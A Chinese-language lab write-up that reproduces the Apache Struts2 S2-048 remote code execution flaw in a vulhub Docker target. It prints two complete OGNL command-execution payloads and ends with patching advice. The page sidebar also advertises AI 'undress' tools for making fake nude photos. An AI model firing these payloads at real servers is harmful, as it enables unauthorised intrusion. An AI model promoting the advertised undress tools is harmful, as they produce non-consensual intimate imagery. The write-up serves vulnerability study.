怎麼進行Apache Struts2--048遠端程式碼執行漏洞復現
0x00簡介
#Struts2框架是用於開發Java EE網路應用程式的開放原始碼網頁應用程式架構。它利用並延伸了Java Servlet API,鼓勵開發者採用MVC架構。 Struts2以WebWork優秀的設計思想為核心,吸收了Struts框架的部分優點,提供了一個更整潔的MVC設計模式實現的Web應用程式框架。
0x01漏洞概述
Apache Struts2 2.3.x 系列啟用了struts2-struts1-plugin 插件並且存在struts2-showcase 目錄,其漏洞成因是當ActionMessage接收客戶可控的參數資料時,由於後續資料拼接傳遞後處理不當導致任意程式碼執行
0x02影響範圍
Apache Struts 2.3.x系列中啟用了struts2 -struts1-plugin插件的版本。
0x03環境建置
1.自行搭建Apache Struts2較為複雜,本次漏洞環境使用vulhub中的docker環境建置。
下載網址:https://github.com/vulhub/vulhub
#2.下載完成後解壓縮進入s2-048目錄,啟動漏洞環境
#cd cd vulhub -master/struts2/s2-048/ //進入目錄
#docker-compose up -d //啟動靶場
3.使用docker ps 查看是否啟動成功
#4.在瀏覽器中輸入http:your-ip:8080/hello.action,看到以下頁面環境建置完成
0x04漏洞複現
1. 在瀏覽器輸入下列連結存取漏洞頁面
# http://192.168.3.160:8080/integration/saveGangster.action
2.在第一個表單「Gangster Name」處輸入${1+1},下面隨意輸入,點選submit提交查看執行了OGNL 表達式
#2. 在Gangster Name」處把${1+1 }修改為下列指令執行的payload語句
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[' com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames(). (#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@ getRuntime().exec('id').getInputStream())).(#q)}
3. 也可以使用Burp抓包修改成指令執行的payload的語句
註:payload需要使用URL編碼
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?( #_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class )).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id') .(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe', '/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream( true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io. IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
4. 可以使用自動化腳本或圖形化工具實現,這裡不做簡報。
工具可在GitHub上搜尋下載
0x05修復建議
1. 升級 建議升級至最新版本
#2、根據業務狀況,停用關閉(刪除) \struts-2.3.x\apps\struts2-showcase.war套件
以上是怎麼進行Apache Struts2--048遠端程式碼執行漏洞復現的詳細內容。更多資訊請關注PHP中文網其他相關文章!

熱AI工具

Undresser.AI Undress
人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool
免費脫衣圖片

Clothoff.io
AI脫衣器

Video Face Swap
使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱門文章

熱工具

記事本++7.3.1
好用且免費的程式碼編輯器

SublimeText3漢化版
中文版,非常好用

禪工作室 13.0.1
強大的PHP整合開發環境

Dreamweaver CS6
視覺化網頁開發工具

SublimeText3 Mac版
神級程式碼編輯軟體(SublimeText3)

一、前言Struts2漏洞是一個經典的漏洞系列,根源在於Struts2引入了OGNL表達式使得框架具有靈活的動態性。隨著整體框架的修補程式完善,現在想挖掘新的Struts2漏洞會比以前困難很多,從實際了解的情況來看,大部分用戶早就修復了歷史的高風險漏洞。目前在做滲透測試時,Struts2漏洞主要也是碰運氣,或是打到內網之後用來攻擊沒修補的系統會比較有效。網路上的分析文章主要從攻擊利用的角度來分析這些Struts2漏洞。作為新華三攻防團隊,我們的部分工作是維護ips產品的規則庫,今天回顧這個系

Struts2框架的原理:1、攔截器解析請求路徑;2、找出Action的完整類別名稱;3、建立Action物件;4、執行Action方法;5、返回結果;6、視圖解析。它原理基於攔截器的機制,使得業務邏輯控制器與Servlet API完全脫離開,提高了程式碼的可重複使用性和可維護性。透過使用反射機制,Struts2框架可以靈活地建立和管理Action對象,實現請求與回應的處理。

0x00簡介Struts2是Apache軟體組織推出的一個相當強大的JavaWeb開源框架,本質上相當於一個servlet。 Struts2基於MVC架構,框架結構清晰。通常作為控制器(Controller)來建立模型與視圖的資料交互,用於創建企業級Javaweb應用程序,它利用並延伸了JavaServletAPI,鼓勵開發者採用MVC架構。 Struts2以WebWork優秀的設計思想為核心,吸收了Struts框架的部分優點,提供了一個更整潔的MVC設計模式實現的Web應用程式框架。 0x01漏洞

Vulhub漏洞系列:struts2漏洞S2-0011.漏洞描述:struts2漏洞S2-001是當使用者提交表單資料且驗證失敗時,伺服器使用OGNL表達式解析使用者先前提交的參數值,%{value}並重新填入對應的表單資料。例如,在註冊或登入頁面中。如果提交失敗,則伺服器通常預設會傳回先前提交的資料。由於伺服器用於%{value}對提交的資料執行OGNL表達式解析,因此伺服器可以直接發送有效載荷來執行命令。 2.vulhub漏洞利用:用vulhub復現漏洞可以省去環境的搭建過程,相當方便。 vu

前言2018年8月22日,ApacheStrust2發布最新安全公告,ApacheStruts2存在遠端程式碼執行的高風險漏洞(S2-057/CVE-2018-11776),該漏洞由SemmleSecurityResearchteam的安全研究員ManYueMo發現。此漏洞是由於在Struts2開發框架中使用namespace功能定義XML配置時,namespace值未被設定且在上層動作配置(ActionConfiguration)中未設定或以通配符namespace,可能導致遠端程式碼執行。同理,u

0x00簡介Struts2框架是一個用於開發JavaEE網路應用程式的開放原始碼網頁應用程式架構。它利用並延伸了JavaServletAPI,鼓勵開發者採用MVC架構。 Struts2以WebWork優秀的設計思想為核心,吸收了Struts框架的部分優點,提供了一個更整潔的MVC設計模式實現的Web應用程式框架。 0x01漏洞概述ApacheStruts22.3.x系列啟用了struts2-struts1-plugin插件並且存在struts2-showcase目錄,其漏洞成因是當ActionMe

前言ApacheStruts框架是一個基於JavaServlets,JavaBeans,和JavaServerPages(JSP)的Web應用框架的開源項目,Struts基於Model-View-Controller(MVC)的設計模式,可以用來構件複雜的Web應用。它允許我們分解一個應用程式的商業邏輯、控制邏輯和表現邏輯的程式碼,使它的重用性和維護性更好。 Struts框架是Jakarta工程的一部分,由Apache軟體基金會管理。天融信阿爾法實驗室將為你帶來ApacheStruts2S2-057

1.概述Struts是Apache軟體基金會(ASF)贊助的開源專案。它最初是Jakarta項目中的一個子項目,後來成為ASF的頂級項目。它透過採用JavaServlet/JSP技術,實現了基於JavaEEWeb應用的Model-View-Controller〔MVC]設計模式的應用框架〔WebFramework〕,是MVC經典設計模式中的一個經典產品。在JavaEE的Web應用發展的初期,除了使用Servlet技術以外,普遍是在JavaServerPages(JSP)的原始碼中,採用HTM
